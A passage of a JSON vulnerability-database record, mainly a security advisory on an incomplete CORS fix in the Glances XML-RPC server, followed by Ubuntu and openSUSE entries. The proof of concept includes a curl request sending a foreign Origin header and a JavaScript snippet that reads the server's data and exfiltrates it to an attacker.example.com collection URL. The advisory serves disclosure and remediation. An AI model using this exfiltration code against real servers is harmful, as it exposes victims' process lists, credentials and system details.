contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d '\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version='1.0'?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard?        :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n  method: 'POST',\n  headers: { 'Content-Type': 'text/plain' },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // 'data' contains hostname, OS, full process list, network interfaces, etc.\n  fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py  — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or '*' in self.cors_origins:\n        return '*'\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header('Access-Control-Allow-Origin', acao)\n    self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---","status":"published","published":"2026-07-13T15:46:22.913578Z","modified":"2026-07-13T16:31:32.941014038Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-46608","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:00Z","modified":"2026-06-29T23:15:40.799062119Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:30.797112Z"},{"id":"openSUSE-SU-2026:11122-1","title":"glances-common-4.5.5-1.1 on GA media","description":"These are all security issues fixed in the glances-common-4.5.5-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:05.733065825Z","updated_at":"2026-11-02T16:58:38.95195Z"}]}}
